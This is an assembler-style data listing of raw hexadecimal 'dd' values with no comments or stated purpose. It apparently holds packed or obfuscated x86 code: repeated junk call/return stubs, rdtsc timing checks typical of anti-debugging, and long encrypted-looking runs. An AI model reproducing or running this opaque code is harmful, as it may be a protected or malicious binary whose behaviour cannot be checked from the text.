		dd 890F0615h, 6, 22918D29h, 0D0FF0612h,	9D895160h, 6120775h
		dd 369CBB59h, 966120F8h, 20659D89h, 74030612h, 95892424h
		dd 612124Dh, 0C758D31h,	0BD8D0612h, 6120251h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A2C35545h, 0DB95D0D9h
		dd 7782F18Dh, 18D0F86h,	0FC000000h, 52006AADh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 2B047E32h
		dd 26B59589h, 85890612h, 61211D5h, 24247C81h, 10000000h
		dd 10A870Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 9A7F91C3h, 0FEAA87FCh, 90C78002h
		dd 52505250h, 310F5250h, 310F585Ah, 310F5250h, 585A585Ah
		dd 870F310Fh, 11h, 0CE9h, 62F2F700h, 99C23A06h,	0B5C6E15Fh
		dd 50585A6Eh, 0F525060h, 5A616031h, 2850F58h, 60000000h
		dd 6A906161h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 1B59C356h, 7B5C14FBh, 0B589A0F1h
		dd 6122F89h, 2824448Bh,	1629B529h, 50500612h, 11800F52h
		dd 0E9000000h, 0Ch, 0C63C02Dh, 0D691AC1Bh, 0D0BBEEBFh
		dd 6660310Fh, 5853C18Bh, 89585A61h, 820F2404h, 6, 4618501h
		dd 8A0F0612h, 1, 7C858DFCh, 6A061550h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0C821C355h
		dd 42EC0518h, 0FF1AEC7Dh, 65BD89D0h, 0FC06121Bh, 24244403h
		dd 13E9h, 0C24B1D00h, 0A5F1C40h, 8D6EF7A3h, 64023A46h
		dd 27D09B5Ah, 8860Fh, 8D0F0000h, 2, 0E9AB6160h,	0Ch, 92E39028h
		dd 0B4C9773Bh, 475E9BD8h, 0FA81h, 820F0001h, 755h, 0BD8DF8F5h
		dd 612002Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0D1C35242h, 779CD725h, 0EE92C70h, 7C000000h, 454A89ADh
		dd 62CDB2Eh, 0CB444D5Ch, 8589AD38h, 6122415h, 24247C81h
		dd 10000000h, 0BE870Fh,	50F80000h, 1A63B960h, 60562FB3h
		dd 89615F61h, 0DE92404h, 0E3000000h, 1C5F9E8Ah,	10A8054Ch
		dd 0F51CB6B0h, 2824448Bh, 1AA59529h, 50900612h,	68D0F52h
		dd 50000000h, 5A310F52h, 60310F58h, 14E96160h, 35000000h
		dd 0C6C11A4Bh, 44FD2015h, 6CAE8FFBh, 1E8DB653h,	61F356EAh
		dd 5050585Ah, 0D78B6052h, 0F61C68Bh, 60525031h,	0F310F61h
		dd 83h,	5A585A00h, 0B5299058h, 61211D1h, 507C858Dh, 6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0DDE2EAC3h, 0A380BED1h, 0FFFC7A65h, 0D840FD0h, 0E9000000h
		dd 8, 69A70DA0h, 0DDA6CD3Fh, 24244403h,	13850Fh, 830F0000h
		dd 0Dh,	8E9h, 5D5E7100h, 9A85AF64h, 0BF60906Ah,	4C2A2D17h
		dd 59616053h, 52505061h, 0CE95250h, 0F4000000h,	785F1A21h
		dd 0CBABC179h, 0F299CD1h, 0F525031h, 5A585A31h,	0F310F58h
		dd 1284h, 0DE900h, 0F1790000h, 5D445FD6h, 69B1DD02h, 5A53E051h
		dd 0DE99058h, 84000000h, 0E637918Fh, 7A97424Eh,	0A9760CD0h
		dd 52006AABh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 63C3EA2Dh, 0BD8D79A1h, 61204CDh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ECC35646h, 85019863h
		dd 6122075h, 6E9ADF5h, 0C7000000h, 0D253A88Eh, 247C8192h
		dd 28h,	0FE870F10h, 0F5000000h,	606050FCh, 0DE8h, 4C220100h
		dd 16831653h, 280A42F3h, 6658CA7Dh, 61634CB8h, 0EE9h, 7E474F00h
		dd 8A3715C7h, 784C015Ah, 618FA9DCh, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0F934C355h, 7B893C76h, 188D0Fh, 13E90000h, 48000000h
		dd 0FA22EF5Ch, 26DCFF6Ch, 0E619CDD8h, 11859448h, 448B9623h
		dd 6A2C24h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FC930CC3h, 0FE9h, 98357A00h, 5FECD01Ah
		dd 4BB3DC9Ah, 0AFDDA808h, 0F525090h, 1687h, 11E900h, 2B700000h
		dd 14E77DAh, 0F745EDF8h, 2994AC70h, 0FED1E46h, 0EE931h
		dd 8D0A0000h, 8516FD2Ah, 6A8DCA4Bh, 0F8CB8454h,	0E950585Ah
		dd 7, 1350905Fh, 902085FDh, 21199501h, 858D0612h, 615507Ch
		dd 0D0FFF8F5h, 244403F8h, 2960F928h, 122BE19Dh,	30F2BA06h
		dd 0AB614C18h, 8DFF5EFCh, 6157F00h, 7F00BD83h, 75000615h
		dd 8DC0330Ah, 158E42B5h, 56E6FF06h, 247C81ADh, 28h, 500E7710h
		dd 2C24448Bh, 7C858D50h, 0FF061550h, 244403D0h,	0DF8B9728h
		dd 7EFC858Ah, 0C0840615h, 73A0474h, 32574C75h, 0FD75AEC0h
		dd 52FB2B5Eh, 49C933FCh, 0C033D18Bh, 32ACDB33h,	8ACD8AC1h
		dd 0B6D68AEAh, 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h
		dd 0CEFE5449h, 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h
		dd 8B6610C0h, 0D03B5AC1h, 835E0F74h, 85FF04C6h,	612187Dh
		dd 0FFFF5DE9h, 85895EFFh, 612096Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 9FC35545h, 0A1E2C6B4h, 0F62F50Ah
		dd 168Ah, 8B666000h, 0CE9C1h, 2D390000h, 352D7A32h, 27AC71B1h
		dd 8B61FEE1h, 12187D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0C3855EA9h, 92A877E4h
		dd 8A0FB342h, 6, 235D8501h, 0F600612h, 858BCABFh, 61218A9h
		dd 6AE0D161h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 804AC351h, 0A9B589BFh,	3061226h
		dd 1204CD85h, 0C28B6006h, 830F60h, 89000000h, 1203758Dh
		dd 2B616106h, 2D9D29F6h, 0E9061217h, 0Dh, 0FBE770h, 0F87BC5F7h
		dd 5B91AB57h, 6A9698h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 606032C3h, 0C8DB589h, 8B660612h
		dd 9D8961D1h, 6120285h,	360AD66h, 121AB18Dh, 61A8B206h
		dd 6A02E0C1h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 7763C350h, 3AE1C61h, 0B911DBF9h
		dd 59B53160h, 23061211h, 121C19BDh, 85036106h, 6120251h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 49C35646h
		dd 7828DFACh, 6890Fh, 85890000h, 61215EDh, 830F96F9h, 1
		dd 60F8ADF9h, 22D38166h, 0F9858B0Eh, 61061206h,	24247C81h
		dd 10000000h, 13E870Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 2CB43DC3h, 9095E3C9h
		dd 7E9h, 0C0776C00h, 8BFE04Dh, 50525050h, 890F52h, 0F000000h
		dd 8A0F31h, 5A000000h, 50310F58h, 0F525052h, 0F585A31h
		dd 850F31h, 5A000000h, 90585A58h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 18C35343h, 0AEF3A229h, 0B501AC48h
		dd 6120C75h, 27D9589h, 448B0612h, 6A2824h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0BBB57C3h
		dd 7E9h, 4084BB00h, 0A6A7B44Eh,	0C880F50h, 0F000000h, 680h
		dd 0F525000h, 89585A31h, 9D292404h, 61207B5h, 0EE9h, 68F32400h
		dd 42BDAA7h, 0F5B82A86h, 8DD8F588h, 15507C85h, 0E8506006h
		dd 10h,	75B32699h, 8D595BC0h, 1312A8F7h, 0E5B71FA7h, 0B9665B5Bh
		dd 0FF6183F4h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 89D623D1h, 31E8760Dh
		dd 120DA185h, 6E906h, 1D210000h, 0CAAD6F64h, 24244403h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8DC35545h
		dd 9B4B14C8h, 0E415A2C3h, 1C244489h, 2F699D09h,	0C6F50612h
		dd 12287185h, 85C70006h, 61580C0h, 0
		dd 7F0485C7h, 615h, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 190424h, 50400000h, 0B5892EC3h, 89E0A447h
		dd 1216B18Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0E53180BCh, 1800FC1h, 0F9000000h
		dd 0AE9h, 387FFF00h, 485D5A3Eh,	613330B5h, 939B589h, 8C20612h
		dd 0B5296000h, 61206BDh, 381B58Bh, 89610612h, 1220519Dh
		dd 51858B06h, 6A061202h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 1C94C356h, 0D40BA653h
		dd 0CE572551h, 58D2960h, 89061229h, 122DE99Dh, 0FF86106h
		dd 178Bh, 12E900h, 646A0000h, 0EEFEDE02h, 1080D584h, 7813BD18h
		dd 0BA6B39CDh, 55006A4Ah, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 5BC954A5h, 666A67D0h
		dd 820FF515h, 1, 4D26BF9h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 62C35141h, 0F9ADFE0Fh, 6E9h, 882C8500h
		dd 3A19A02h, 52006AC2h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 28F816A6h, 31B5895Bh, 96061209h
		dd 68D0Fh, 8D890000h, 6122905h,	6850FADh, 1000000h, 12098DBDh
		dd 247C8106h, 24h, 14870F10h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B83AC353h
		dd 0F81D92E5h, 8E9h, 5B603200h,	1E30AAB9h, 52509057h, 850F5250h
		dd 0
		dd 5250310Fh, 585A310Fh, 310F585Ah, 0CA8B6660h,	6AC710B8h
		dd 585A6152h, 0BE950h, 0B1900000h, 694A05C6h, 21A31C04h
		dd 890F906Fh, 6, 4AD9531h, 448B0612h, 80602824h, 0BF0FC5D0h
		dd 14E961F9h, 1D000000h, 4FF78A32h, 0E8820855h,	6DE4616Fh
		dd 0D60F4C8h, 905A0EE7h, 0FB5B260h, 8Dh, 0F506100h, 0C8Dh
		dd 6880F00h, 0F000000h,	88h, 6A9000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD89BAC3h
		dd 6122AE9h, 2041B509h,	858D0612h, 615507Ch, 24159531h
		dd 0D0FF0612h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	16C35343h, 8E5E70F9h, 7D2D72C1h, 85BD897Dh, 0E9061222h
		dd 0FFFFFD1Ch, 1C2D8531h, 858D0612h, 6159437h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 12C35747h, 0C5F48B47h
		dd 8C77B1Ah, 19D29F9h, 90061216h, 128D0Fh, 800F0000h, 0Ch
		dd 7E9h, 3672A000h, 0B9BB5D9Fh,	0E9525050h, 0Fh, 106D5CA6h
		dd 0F7903C0Fh, 113451D5h, 0F1E157Ch, 6830F31h, 0F000000h
		dd 8Dh,	90585A00h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0AEC35747h, 319D8589h, 0FF640612h, 35h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E9D466CBh, 12h,	3B824DFAh, 0C5056387h
		dd 918EAE41h, 0AA145920h, 48B990Dh, 148D0F24h, 0E9000000h
		dd 0Fh,	0C04D20C5h, 496F0043h, 0DD7A4203h, 89ECFC79h, 1216A985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0FA25DA4h, 0C8Ah, 0BE666000h, 8A0FB9BAh
		dd 0
aAdi		db 'ad‰%',0
		align 4
		dd 10E9h, 0F971D400h, 0AF12CC09h, 205E8AA3h, 790EE4ACh
		dd 0A0858D8Fh, 60061592h, 4C1B58Bh, 81660612h, 6119D3DBh
		dd 60016089h, 8A92C480h, 0FFE961E2h, 6A000001h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0F461C355h, 0ED60E2Bh, 0E858BF60h, 81661317h, 61F22CE1h
		dd 0E8DB8Bh, 5D000000h,	9299ED81h, 9CBC0615h, 830012FFh
		dd 120099BDh, 18740006h, 3A5858Bh, 0C60612h, 11858B00h
		dd 0C6061224h, 95FF0000h, 61230FDh, 8B5FF60h, 8D06157Bh
		dd 157B0C85h, 858D5006h, 6157D04h, 7195FF50h, 83061223h
		dd 0F9610CC4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	77C35747h, 5DBD891Dh, 8D061205h, 157D04B5h, 0C19D8906h
		dd 8D061234h, 120A31BDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0D875BBC9h, 983BCDF2h
		dd 0B870F30h, 0E9000000h, 6, 93CE38AFh,	3E807391h, 1B840F00h
		dd 60000000h, 20C5BD01h, 8D8B0612h, 6122905h, 0E9F8A461h
		dd 0FFFFFFE2h, 15F59589h, 0C02B0612h, 6E9h, 0FC9A7F00h
		dd 0AAFEAA87h, 0D1815760h, 76229530h, 0D95895Ah, 61061209h
		dd 7B8FCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 85C7D7C3h, 61217B1h, 1, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 57C35646h, 0A30D648Bh
		dd 68A0Fh, 85310000h, 6121E89h,	0B58D8DF8h, 0E906124Dh
		dd 12h,	4846F05h, 2DBDDA49h, 0AF79EEh, 0E1B9301Bh, 0E1FF8F58h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D5C35343h
		dd 0DEF66D92h, 3259509h, 860F0612h, 1, 245C8BF9h, 0E8550Ch
		dd 5D000000h, 9441ED81h, 838B0615h, 0B8h, 7B088589h, 858D0615h
		dd 6159292h, 0B88389h, 335D0000h, 6AC3C0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0A49F87C3h
		dd 0AB8536F8h, 11E9EFh,	0C7520000h, 0F917FEB9h,	0B843F847h
		dd 698C174h, 8992FA30h,	12133D8Dh, 39858906h, 6006120Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 94C35747h
		dd 860D9980h, 29B1BAC1h, 1209B5BDh, 8D950906h, 8D061217h
		dd 15972285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 97E0B5F8h, 810FF408h, 6, 5B99501h
		dd 60500612h, 0EE8h, 48B5D000h,	66AB969Dh, 8ECFCC34h, 0FE2BC20h
		dd 80h,	89615B00h, 9D892404h, 6122EDDh,	0DE9h, 0D1D8000h
		dd 7645E2C2h, 81A33CB0h, 0FF644B05h, 35h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0D588D5BCh, 6060F860h, 4DBF6661h, 64616151h,	2589h
		dd 8A0F0000h, 5, 0FC616060h, 0B3858D61h, 6A061597h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0D0C5C355h, 9F84E8A1h, 160899Bh, 85952B60h, 8B061207h
		dd 85C661F7h, 6122871h,	55006A4Fh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 4DC226F6h, 6660B9DAh
		dd 1751E781h, 2C9DF181h, 0E8613036h, 4,	0FEC8742Ah, 0C860Fh
		dd 8B0F0000h, 6, 800Fh,	0E9500000h, 9, 7E474F19h, 8A3715C7h
		dd 24448B5Ah, 0C8D0F04h, 0F000000h, 682h, 0F525000h, 8B585A31h
		dd 0B1606000h, 61616002h, 24448961h, 50525004h,	850F52h
		dd 0F000000h, 880F31h, 5A000000h, 0E9310F58h, 0Ah, 0D1D9259Bh
		dd 0EABFF2E2h, 585A56FDh, 81666058h, 66CB07C8h,	0C21AD381h
		dd 0E9B5FF61h, 6A061230h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 587FC356h, 0D5D099CDh
		dd 291DB509h, 0BD290612h, 6120285h, 7F35858Dh, 8D890615h
		dd 6121775h, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0F5E74AC3h, 367CDC3Dh, 0D6E9F931h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0BAE7C355h, 800F7467h,	13h, 0EE9h
		dd 0ADB25000h, 3D6CDEFh, 4FF1B061h, 0F9CC92Fh, 78Ah, 0BB666000h
		dd 61FC2DD1h, 0C245C8Bh, 0E855h, 815D0000h, 15972CEDh
		dd 0B1858B06h, 89061203h, 1230E985h, 39858B06h,	8906121Dh
		dd 120CC585h, 0ED858B06h, 89061222h, 121DFD85h,	7185C606h
		dd 61228h, 80C085C7h, 615h, 858D0000h, 61597B3h, 0B88389h
		dd 335D0000h, 6AC3C0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0BEF5BEC3h, 7E9h, 9F21B300h, 9B3D5A9Eh
		dd 0D1816660h, 8B607B5Dh, 0CD8531D9h, 6106120Ch, 0FF74BC61h
		dd 95890012h, 61201E5h,	58F64h,	60000000h, 0BE9h, 0EF1BAD00h
		dd 8860C9ABh, 8D1F3D76h, 0D98D0160h, 2B061226h,	1226A5BDh
		dd 1616106h, 12199985h,	4C48306h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0DEC35343h,	1E3BDB7Bh, 10E9C8h
		dd 23920000h, 0CF4608C9h, 0CEBCACD8h, 0B1141E2Fh, 9589E902h
		dd 61217E1h, 6E961h, 1E000000h,	3E6Eh, 51CE9h, 0EB574A00h
		dd 0FF695D4Dh, 17797161h, 2D938979h, 42AA9F8Fh,	6AD837A4h
		dd 7F6F0D75h, 96862488h, 0AF9F3D9Dh, 0BAB957B5h, 9FC0E859h
		dd 0BCCF75FEh, 57150F6Ah, 42A29B61h, 0B951E93Fh, 83774DB6h
		dd 56C01619h, 0CDC1897Eh, 0D776B63h, 711CB40Ah,	3A3DA79Bh
		dd 0CFC7AE4h, 3309B412h, 82D8DB39h, 0F6CC3518h,	40969901h
		dd 0A604FED6h, 70643AA3h, 2AD0306h, 0E9076991h,	0B822706Fh
		dd 7F82ECE0h, 0BC8B6B22h, 0D6C664C2h, 49D27DDDh, 0E907B0D8h
		dd 771BF6Fh, 0EC5DE689h, 6FE907C4h, 3B137DCBh, 29DFE242h
		dd 16746E32h, 9FDD37Eh,	4E469C9Fh, 9BF1F456h, 38F74E31h
		dd 0D0908958h, 1D7376D8h, 6E44E785h, 56BAB179h,	0FB65FD53h
		dd 20CB2923h, 82EC564Ah, 7214E9Fh, 19D06FE9h, 0ECE1B739h
		dd 30968C84h, 7A92E9C6h, 73D9D81Dh, 30000000h, 0FE01615Ah
		dd 648CFDA8h, 6B6FE8FBh, 0F77B31Dh, 63B4B715h, 6FE90739h
		dd 776D43E4h, 2606A711h, 1D7AFB52h, 142D8h, 0FE80000h
		dd 45AEB11Bh, 7234BBCh,	3C316FE9h, 7C7BD1D4h, 0D842362Eh
		dd 38A2966Eh, 23897F35h, 567EEF78h, 656FE907h, 595CC0B7h
		dd 1E016B03h, 5B2A0AC1h, 0BC5FFD67h, 0A84EF14Ah, 0EF598728h
		dd 695F1D17h, 12AA0003h, 1A0F2074h, 65B32D9Fh, 0E8F1BDECh
		dd 0E93B2D55h, 0F71F906Fh, 66FE93Bh, 0D36BB9B8h, 0BC261AD0h
		dd 4E49DB9h, 6088F982h,	6F6FE93Bh, 3C181325h, 1EB68D83h
		dd 7FE7DCB4h, 9DF7F1E1h, 45B6EF9Eh, 6FE9381Dh, 1E4ADE2Ch
		dd 989B333Dh, 0DD88EAE2h, 0CB2C9C6Bh, 0E8524039h, 0B8987105h
		dd 1E1A9DE4h, 52C4D8h, 0F6A0000h, 0F9AFB21Ah, 3F9C9F01h
		dd 0E4D9A888h, 0F9EEDE7Ch, 0E2D88E91h, 0D748D17Ch, 6FE907AFh
		dd 230670BEh, 54D6B68Fh, 7325ACBh, 0EB396FE9h
		dd 815DA481h, 3C84D81Dh, 2A000000h, 0AFB21A0Fh,	9DA000F9h
		dd 0D1A08039h, 0B91D14DCh, 0AE08321h, 0A46B012h, 0AEB11B0Fh
		dd 0E907305Dh, 4A2AE16Fh, 164456C8h, 71ACA6F5h,	147E167Ah
		dd 1DEBE037h, 127D8h, 0FCD0000h, 0FCB2B517h, 23F9A402h
		dd 3635C92Bh, 0E990655Fh, 1F7659C3h, 0B9B18060h, 2924B957h
		dd 34EE1687h, 0AFFD6FE9h, 0A2FB6C17h, 0EB69FB59h, 0EAE49A9Dh
		dd 4FEEE8Ch, 0C83AA3A6h, 9FEA62Bh, 0B4489EA1h, 6FD99B50h
		dd 0FB4DD2FCh, 9D7D3675h, 1F16D4CEh, 0CA62B8BBh, 0E4423C2Ch
		dd 0D3312BE1h, 0D944B628h, 8245D5F5h, 60193518h, 2F28FE80h
		dd 938D65CFh, 6E623D39h, 770F0F7Ah, 648DE4D9h, 26D4DE30h
		dd 2B000001h, 0E5F5B6B9h, 0AD172B6Ch, 0E0636A71h, 347BC435h
		dd 74C269FBh, 63C1BB71h, 1DDBD5C5h, 56D6226h, 1114AC02h
		dd 67823BBh, 0DEE963B0h, 0D12F29A2h, 0F51D8E39h, 475FB86h
		dd 0B3694CB6h, 3C585BB9h, 69CBC399h, 0FC7E5EFFh, 76BFC78Ah
		dd 66D058A5h, 8B36948Eh, 0F7D9002h, 70BAC52Ch, 0FB73B5DDh
		dd 0C76C475h, 0E742998Eh, 3489DE2Fh, 2F000000h,	31DC6F6Ah
		dd 16F9B8C0h, 36398710h, 0E906BDE5h, 6E4EC7EFh,	170CFFFAh
		dd 0F1F4584Fh, 0C06B039Bh, 66A6137h, 0F821299Ch, 9AE89016h
		dd 831DFCh, 6ACB0000h, 0C435E063h, 69FB1BAFh, 772D307Eh
		dd 91811F7Dh, 0CD363997h, 24ABD344h, 64B275FBh,	236887FAh
		dd 45FE75FBh, 3E9C9665h, 8D8BFDA0h, 70CC2C4h, 787BE5D9h
		dd 0A3208A22h, 0FC6E19A8h, 367C1CCDh, 6AF55F27h, 0F999DF9h
		dd 46B74070h, 6FF0691Eh, 7D4BDF2Dh, 0E9A332C2h,	3F8D6CD6h
		dd 2E8C863Ch, 3515D42Bh, 85E3DDB3h, 0CB35938Dh,	19C45F4Eh
		dd 3D24CA8h, 160DBB6Ah,	5FC3BAB2h, 0D06E065Ch, 0E0636A7Ch
		dd 0E2D6AC35h, 7CCF465h, 85D36FE9h, 2A94EAEDh, 0FC9F5BB7h
		dd 595CAA69h, 0F7EBA9A3h, 6757F58Dh, 0BB0C0F6Dh, 5DA81E1Fh
		dd 0E1D7AD4Eh, 0D34FA47Fh, 5AF2C049h, 5AC423C6h, 0A00A945Fh
		dd 56501FFFh, 706A5AF8h, 63590F12h, 37E052FDh, 0DD8F660Fh
		dd 0FCFF635Ah, 0C1A40EA6h, 0C738C16Ah, 0AE57229Fh, 55F660AEh
		dd 4EACA675h, 68C6C0B0h, 14C065h, 0AD1F0000h, 6FF02BBFh
		dd 0FE6F1A82h, 0AE5763D6h, 0F12D97E5h, 1C0F5995h, 0FDF7ADB0h
		dd 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh
		dd 877F3538h, 786C2225h, 684D0B0Eh, 66B1h, 68241C89h, 7A6Eh
		dd 68240C89h, 47ADh, 57241489h,	2557568h, 0D7F75F17h, 0C106E7C1h
		dd 0BD5502EFh, 79441B99h, 6F9C581h, 814D5A2Dh, 0AC122CEDh
		dd 5DEF29C9h, 545FF989h, 8324148Bh, 0B85004C4h,	8, 56517605h
		dd 2DD00144h, 44565176h, 8B580889h, 89572414h, 4C781E7h
		dd 83000000h, 3C8704C7h, 34FF5C24h, 0C4815924h,	4, 0FCE2B4E9h
		dd 545175FFh, 0D47DBAC5h, 1A0F5E53h, 9CCDB8BDh,	0C5030615h
		dd 510BE0FFh, 0E19B0FCDh, 0A9832499h, 0A7456321h, 8E875FCh
		dd 0F5000000h, 0E9C431B1h, 0B55D9E98h, 0E96058F8h, 8, 1E889823h
		dd 0E1066BFh, 0B5C08161h, 6600006Ah, 0BF85B7BAh, 0
		dd 11E9h, 37BC4300h, 0D5BFE32Bh, 7A12949h, 0A1FF670Bh
		dd 348B9BFDh, 239FBA38h, 0C68136C6h, 3411D04Ch,	0B3CA8166h
		dd 78C681C9h, 817722E5h, 67FA5DC2h, 0DCC68171h,	5227397Dh
		dd 32E98166h, 0F56595Dh, 48FD3BFh, 0E1D1BB38h, 2ABA100Eh
		dd 831D2094h, 880F04EFh, 4, 46BABA66h, 95E0FF81h, 850FFFFFh
		dd 0FFFFFFAAh, 0F911BA66h, 0EBE9h, 33032300h, 55C9757h
		dd 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h,	773D557Dh
		dd 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h
		dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h
		dd 75DF6D17h, 60206020h, 0E0E02020h, 68AC2060h,	0E4A9F77Bh
		dd 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h
		dd 0E0E02020h, 53752060h, 2F0D0A33h, 6020557Dh,	60206020h
		dd 362BA728h, 60C950F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h
		dd 0E9B3F471h, 60F76DB9h, 60206020h, 20206020h,	1ADF6DF7h
		dd 7DD77335h, 0EDF73D57h, 5375D55Fh, 2F6D3733h,	773D557Dh
		dd 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h
		dd 5375D55Fh, 2F6D3733h, 0A1E357Dh, 3407000Eh, 0A0A3D25Dh
		dd 1E59h, 0
		dd 0CE8E9h, 0A1986800h,	0F2E90615h, 68FFFCE0h, 615A2B3h
		dd 0FCE0E8E9h, 0A3BC68FFh, 0DEE90615h, 68FFFCE0h, 615A496h
		dd 0FCE0D4E9h, 0A50C68FFh, 0CAE90615h, 68FFFCE0h, 615A5AFh
		dd 0FCE0C0E9h, 0A73168FFh, 0B6E90615h, 68FFFCE0h, 615A81Fh
		dd 0FCE0ACE9h, 0A90968FFh, 0A2E90615h, 68FFFCE0h, 615A9B1h
		dd 0FCE098E9h, 0AA5C68FFh, 8EE90615h, 80FFFCE0h, 9383218Dh
		dd 0A797359Fh, 0BFAF4DAFh, 0D5C563C9h, 6DDA78E0h, 43ABA012h
		dd 5ABEB5A5h, 73D3CCBCh, 8DEBE5D5h, 1E8FF0EFh, 75FEA6F6h
		dd 7B51F205h, 0C51B1E86h, 150F1F5Bh, 67FF5D57h,	172FB64h
		dd 6FE907D9h, 0C8A796E0h, 9827EDD6h, 0C7BE9600h, 0E9B7DF50h
		dd 78C66FE9h, 8E27DFE4h, 0B951AA24h, 0A30B00B6h, 92F0EAA0h
		dd 92722B8Fh, 0EDCD8423h, 28C6241Eh, 5E099893h,	0FB9544EDh
		dd 4075569h, 79A1129Bh,	8075FB73h, 0F6F0C832h, 6F7BED98h
		dd 43F01CF2h, 57EF5149h, 857F6FEDh, 0A6D32427h,	5875FBA5h
		dd 93BB2CB5h, 0A175FBA5h, 0EA4043ADh, 92339DEBh, 8BE9E3B2h
		dd 0A503FDEDh, 81F2ECA2h, 0FBA5E810h, 11A9F775h, 5939F20Eh
		dd 9432908Ah, 3019489Fh, 5938FDEh, 0F350000h, 0FEB4B715h
		dd 72FBA604h, 0E907D901h, 0E792E06Fh, 0E9074E76h, 0A50F5D6Fh
		dd 9128427h, 0AB8540FEh, 6C9405B0h, 736FE97Eh, 4F3EBB25h
		dd 8E9709B4h, 0F691BD51h, 60D15CC6h, 69FB48A3h,	106164B2h
		dd 75FB37E4h, 8F63431Ch, 0DE2FAF38h, 5C7Fh, 0D35C2500h
		dd 0A0A305FDh, 78FB74Ah, 509E6FE9h, 7F6269E6h, 6BD1C785h
		dd 777A1268h, 0B1C78D21h, 7A1BCF78h, 686137E2h,	45AF0508h
